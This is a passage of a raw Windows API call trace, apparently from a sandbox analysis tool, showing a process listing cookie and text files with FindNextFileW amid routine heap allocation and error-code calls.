lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4b4e95d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4b4e95d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4b4e95d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="GVXIDORE.cookie", cAlternateFileName="GVXIDO~1.COO")) returned 1 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0298.875] GetLastError () returned 0x0 [0298.875] SetLastError (dwErrCode=0x0) [0298.875] GetLastError () returned 0x0 [0298.875] SetLastError (dwErrCode=0x0) [0298.875] GetLastError () returned 0x0 [0298.875] SetLastError (dwErrCode=0x0) [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6640 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81ec0 [0298.875] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4756e4b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4756e4b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4756e4b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="H9FTOC54.cookie", cAlternateFileName="H9FTOC~1.COO")) returned 1 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664aa8 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656000 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664aa8 | out: hHeap=0x570000) returned 1 [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81aa0 [0298.876] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa78f836a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa78f836a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa7901fab, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="H9MBWFAY.cookie", cAlternateFileName="H9MBWF~1.COO")) returned 1 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656000 | out: hHeap=0x570000) returned 1 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0298.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] GetLastError () returned 0x0 [0298.876] SetLastError (dwErrCode=0x0) [0298.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83570 [0298.877] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbde1fca3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbde1fca3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbde45ebe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4ab, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IGINNTRA.cookie", cAlternateFileName="IGINNT~1.COO")) returned 1 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0298.877] GetLastError () returned 0x0 [0298.877] SetLastError (dwErrCode=0x0) [0298.877] GetLastError () returned 0x0 [0298.877] SetLastError (dwErrCode=0x0) [0298.877] GetLastError () returned 0x0 [0298.877] SetLastError (dwErrCode=0x0) [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83258 [0298.877] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa53bcf17, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa53bcf17, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa53bcf17, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="JPVRD62I.cookie", cAlternateFileName="JPVRD6~1.COO")) returned 1 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0298.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0298.877] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81998 [0298.878] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd6d557f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdd6d557f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdd6d7cb8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="K7RPYYP8.txt", cAlternateFileName="")) returned 1 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656250 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0298.878] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] GetLastError () returned 0x0 [0298.878] SetLastError (dwErrCode=0x0) [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0298.878] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9cfd92ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9cfd92ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9cfe2f3d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="KEKFOROW.cookie", cAlternateFileName="KEKFOR~1.COO")) returned 1 [0298.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656250 | out: hHeap=0x570000) returned 1 [0298.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656128 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0298.879] GetLastError () returned 0x0 [0298.879] SetLastError (dwErrCode=0x0) [0298.879] GetLastError () returned 0x0 [0298.879] SetLastError (dwErrCode=0x0) [0298.879] GetLastError () returned 0x0 [0298.879] SetLastError (dwErrCode=0x0) [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82e38 [0298.879] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28220ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa28220ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa28220ab, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="KFKOQYZF.cookie", cAlternateFileName="KFKOQY~1.COO")) returned 1 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656128 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0298.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656250 [0298.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0298.879] GetLastError () returned 0x0 [0298.879] SetLastError (dwErrCode=0x0) [0298.879] GetLastError () returned 0x0 [0298.879] SetLastError (dwErrCode=0x0) [0298.880] GetLastError () returned 0x0 [0298.880] SetLastError (dwErrCode=0x0) [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82c28 [0298.880] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xddd6454d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xddd6454d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xddd658c1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LA7BUP1E.txt", cAlternateFileName="")) returned 1 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656250 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656000 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6650e8 | out: hHeap=0x570000) returned 1 [0298.880] GetLastError () returned 0x0 [0298.880] SetLastError (dwErrCode=0x0) [0298.880] GetLastError () returned 0x0 [0298.880] SetLastError (dwErrCode=0x0) [0298.880] GetLastError () returned 0x0 [0298.880] SetLastError (dwErrCode=0x0) [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0298.880] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6c3aecd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa6c3aecd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa6c44b28, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LNYM3IIG.cookie", cAlternateFileName="LNYM3I~1.COO")) returned 1 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656000 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0298.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0298.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655db0 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81fc8 [0298.881] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b6fb45b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9b6fb45b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9b6fb45b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="MADUEVPF.cookie", cAlternateFileName="MADUEV~1.COO")) returned 1 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655db0 | out: hHeap=0x570000) returned 1 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6654d0 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654c58 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6654d0 | out: hHeap=0x570000) returned 1 [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] GetLastError () returned 0x0 [0298.881] SetLastError (dwErrCode=0x0) [0298.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82700 [0298.882] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf9dbaa8, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdf9dbaa8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdf9dce54, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="NBLJVIM8.txt", cAlternateFileName="")) returned 1 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654c58 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0298.882] GetLastError () returned 0x0 [0298.882] SetLastError (dwErrCode=0x0) [0298.882] GetLastError () returned 0x0 [0298.882] SetLastError (dwErrCode=0x0) [0298.882] GetLastError () returned 0x0 [0298.882] SetLastError (dwErrCode=0x0) [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659100 [0298.882] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa319815d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa319815d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa319815d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="O6XCOUT8.cookie", cAlternateFileName="O6XCOU~1.COO")) returned 1 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0298.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0298.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654d80 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] GetLastError () returned 0x0 [0298.883] SetLastError (dwErrCode=0x0) [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82d30 [0298.883] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd6edc54, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdd6edc54, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdd6eefc7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ODUED5IU.txt", cAlternateFileName="")) returned 1 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0298.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.883] RtlAllocateHeap (HeapHandle=0x570000, 